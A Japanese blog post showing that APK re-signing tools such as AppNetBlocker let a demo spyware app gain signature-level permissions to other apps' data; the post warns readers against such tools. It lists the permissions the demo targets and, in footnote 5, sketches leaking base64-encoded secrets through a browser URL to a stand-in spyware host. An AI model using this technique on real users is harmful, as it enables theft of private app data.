Androidアプリを再署名する事のセキュリティリスク

こっそりタイトル募集中。*1
既存のAndroidアプリを改造し、「ネットワークアクセスなどの権限剥奪」や「画像などのリソース差し替え」するためのソフトってあるらしいですね。
「AppNetBlocker」「App Shield」「Permissions Denied」「Permission Remover」「Apk Manager」とか。
これらのソフトは元のapkを分解して改修して再度apkにした上で再署名するそうです。


「AppNetBlocker」や「Permissions Denied」なんかは安全の為に使われているそうですが、この手のツール使うと逆に危険になるケースがあります。という訳でさっそく例題を見ていきましょう。

悪意ある(普段おとなしい)スパイウェアが、再署名されて無敵モード突入する例

スパイウェア「SpyWare01」は、有名アプリの権限をこっそり使ってスパイ活動をするものです。
使用する権限は「インストール画面では表示されない」protectionLevel=signatureものに限ります。
動かしてみたい奇特な人向け→SpyWare01.zip


「SpyWare01」のAndroidManifest.xmlの中身。*2

    <uses-permission android:name="android.permission.INTERNET"/>
    
    <uses-permission android:name="com.google.android.apps.chrome.permission.SANDBOX" />
    <uses-permission android:name="com.android.chrome.TOS_ACKED" />
    <uses-permission android:name="com.android.chrome.permission.C2D_MESSAGE" />
    <uses-permission android:name="com.facebook.katana.provider.ACCESS" />
    <uses-permission android:name="com.facebook.katana.permission.C2D_MESSAGE" />
    <uses-permission android:name="com.facebook.orca.permission.C2D_MESSAGE" />
    <uses-permission android:name="com.facebook.orca.provider.ACCESS" />
    <uses-permission android:name="com.ntt.voip.android.com050plus.permission.ACCESS_SETTINGS" />
    <uses-permission android:name="jp.gree.android.app.permission.C2D_MESSAGE" />
    <uses-permission android:name="com.ngmoco.gamejs.permission.C2D_MESSAGE" />
    <uses-permission android:name="jp.mixi.permission.C2D_MESSAGE" />
    <uses-permission android:name="jp.mixi.permission.MESSAGE_CONTENTPROVIDER_WRITE" />
    <uses-permission android:name="jp.mixi.permission.GRAPH_CONTENTPROVIDER_WRITE" />
    <uses-permission android:name="jp.naver.line.android.permission.C2D_MESSAGE" />
    <uses-permission android:name="jp.naver.line.android.permission.AOM_MESSAGE" />
    <uses-permission android:name="jp.naver.android.npush.permission.PUSH_MESSAGE" />
    <uses-permission android:name="org.mozilla.firefox.permissions.BROWSER_PROVIDER" />
    <uses-permission android:name="org.mozilla.firefox.permissions.PASSWORD_PROVIDER" />
    <uses-permission android:name="org.mozilla.firefox.permissions.FORMHISTORY_PROVIDER" />


それでは今回は「AndroidFacebookアプリ」と「SpyWare01」の2つから「AppNetBlocker」*3を使ってインターネットパーミッションを削り、その前後の違いを確認してみます。


「SpyWare01」のインストール画面(通常時)

有名アプリの機密情報にアクセスする為のパーミッションは、画面に表示されません。*4


「SpyWare01」の活動内容。各パーミッションがPERMISSION_GRANTEDになっている場合のみ、スパイ活動を行います。(サンプルとして安全かつバレバレの挙動にしています)

public void onCreate(Bundle savedInstanceState) {
	super.onCreate(savedInstanceState);
	setContentView(R.layout.main);

	String[] permissions = {
			"com.google.android.apps.chrome.permission.SANDBOX",
			"com.android.chrome.TOS_ACKED",
			"com.android.chrome.permission.C2D_MESSAGE",
			"com.facebook.katana.provider.ACCESS",
			"com.facebook.katana.permission.C2D_MESSAGE",
/* はてダでは省略 */
			"org.mozilla.firefox.permissions.PASSWORD_PROVIDER",
			"org.mozilla.firefox.permissions.FORMHISTORY_PROVIDER" };
	StringBuilder sb = new StringBuilder();
	for (String s : permissions){
		String granted = (getPackageManager().checkPermission(s,
				getPackageName()) == PackageManager.PERMISSION_GRANTED) ? "granted"
				: "deneid";
		if (granted.equals("granted")){
			sb.append(s);
			sb.append(":\n");
			sb.append(granted);
			sb.append("\n");
		}
	}
	((TextView) findViewById(R.id.textView1)).setText(sb.toString());

}


「SpyWare01」の実行結果(通常時)

APKの署名が違っている為、権限は何も与えられていません。よって何も表示されていません。


通常時はインストール時に様々な権限を要求している事が非表示という以外、特に問題ない動きをします。それでは「AppNetBlocker」を使った場合どんな風になるでしょうか?


AppNetBlockerで権限剥奪&再署名!


「SpyWare01」のインストール画面(AppNetBlocker使用後)

インターネットの権限が消えました。その他のパーミッションは相変わらず表示されません。


「SpyWare01」の実行結果(AppNetBlocker使用後)

AndroidFacebookアプリ」と同じ署名がされているので、2件のパーミッションが使えるようになりました!
権限を削った筈が、-1+2でむしろ権限が増えました! やったね!!


あとは各アプリケーションの動作を解析し、「SpyWare01」で情報を抜き取る機能を搭載すれば色んな機密情報が抜き取れそうですね!*5

仕組み解説

どうしてこうなったかをまとめると、次の通りです。

  1. 「大事な情報を守ってるアプリA」は機密情報のアクセス元を「同じ署名のアプリ(≒自社製のアプリ)限定」と設定し、機密情報をしっかり守っています。
  2. 「AppNetBlocker」の再署名によって、本来別々の署名がされてるアプリが、全て同じ署名にされしまいます。
  3. 「大事な情報を守ってるアプリA」「実は悪意あるアプリB」が同じ署名で再署名される事により、アプリB側からprotectionLevel=signatureの壁を突破出来ます。
  4. 「実は悪意あるアプリB」がアプリAの機密情報を盗み取るのに成功します!


……「AppNetBlocker」のおかげでアプリAの努力が台無しですね〜。もちろん「AppNetBlocker」以外のツールでも、同じ署名で統一される仕様である限りは同様の問題が発生します。
ちなみに通常、未定義のパーミッション・protectionLevelがsignatureまたはsignatureOrSystemのパーミッションは、アプリのインストール/管理画面の使用権限一覧には表示されません
これは「同一作者のアプリ同士のやりとりを守る権限なんて、ユーザーに知らせたら無駄に不安させるだけだよね♪」という意味では至極まともな動作です。
内部的にもアプリBからのアプリAの機密情報等へのアクセスはきちんと遮断してくれますし、ユーザーは本当に意識しなくて良い代物なんです。通常通りマーケットからアプリ入れてそのまま使う分には。


しかしその大前提が、再署名されてしまう事で台無しになるんですね。

という訳で、APKを再署名するようなツールは、基本的に使わない方が良いでしょう。
最低限、自分でAndroidManifest.xmlを読んで理解が出来ない限りは使うべきじゃないと思います。*6


「この権限付いてるのが嫌!」「このアプリのアイコンがどうしても我慢出来ない!」等の場合には、素直にそのアプリは使わないのが吉です。
やる気と時間さえあれば、元のアプリを超える良作を自分で開発する事もできますよ!

蛇足

このエントリで書いた問題、普通に既知の情報として周知されてるかと思ったんですが、あんまり周知されてないみたいですね。*7


自衛のために「App Shield」「Permissions Denied」「AppNetBlocker」「Permission Remover Free」等を推奨している、2ちゃんねるの「Android 権限の怪しいアプリ」スレを1〜12本目まで見たところ、当エントリの問題認識してそうな書き込みは皆無のようでした。
typoで検索にかからなかった可能性もありますが、それっぽい発言は10本目>>145>>415だけみたいですね。


不要な権限を要求するアプリはもちろん撲滅されるべきですけど、別の問題を発生させうる誤った対策もなるべく早めに人前から消えて頂いたいものです。


ついでに2ちゃんスレでも紹介されてたアプリをつかって、「SpyWare01」の挙動をチェックしてみました。使用したアプリ&バージョンは次の通りです。


tSpyCheckerでは特に警告されませんでした。AppNetBlocker適用前後でも変化なしでした。


S2 Permission Checkerでは色々表示されて、パッケージ一覧画面では『使用権限が多め』という意味では怪しいと目星はつけられそうな感じです。ただし同じくらい権限使用するメジャーアプリはザラにあるので、多いというだけで怪しいと判別するのは難しいかもしれませんが(笑)。権限一覧画面では事細かに種類毎の表示がされていました。


ただし、Google Playマーケットにこんな「SpyWare01」のようなアプリ入れるのはスパイウェア配布者にとってもハイリスクです。
(解析マニア以外の)ユーザーからは見つけられにくくても、Bouncer辺りの自動スキャンソフトからは簡単に嗅ぎつけられるからです。
Bouncerのロジックに「やたら他ベンダー製アプリへのアクセス用パーミッションがあるやつは、スパイウェアっぽい」というルールを追加されると、おそらくPlayマーケットのアカウントBANは余裕だと思われます。(^_^;)

*1:なんかもっと「本当は怖いAppNetBlocker」「アイコンを書き換えたと思ったら、人生が書き換えられた(個人情報漏洩的な意味で)」みたいなキャッチーなタイトルに変えたいです。ということで意見募集中。

*2:参考として列挙しただけで、各パーミッションがどういう代物かなんて調べてません。悪用の余地が無いパーミッションもあるかと思われます。

*3:AppNetBlockerを元に解説していますが、別にAppNetBlockerに恨みがある訳でも「AppNetBlockerが一番危険」という話でもありません。単純に入手が容易だったので実例として紹介させて頂きました。AppNetBlockerはこちらで公開されています。 → http://dsas.blog.klab.org/archives/52026407.html

*4:ただし古いバージョンがインストールされていて、なおかつprotectionLevelがnormalまたはdangerousになっていた場合はバレますw

*5:インターネットアクセスが出来ない状態でも「オンラインヘルプを表示(ブラウザを開きます)」みたいなボタン等を付けて、アクセスするURLに「http://spyware.example.com/help.php?PHPSESSID={機密情報をbase64等で加工したもの}」とかを指定しブラウザ立ち上げするなど、方法は色々あります。

*6:今回はパーミッションについてのみ書きましたが、ファイルアクセスについても再署名のせいで類似の問題が発生する場合があります。

*7:それらしき記事 http://blog.synchack.com/2012/01/crack.html もあったようなのですが、現在公開終了してて内容確認出来ませんでした。誰かどんな内容だったか教えてください…。orz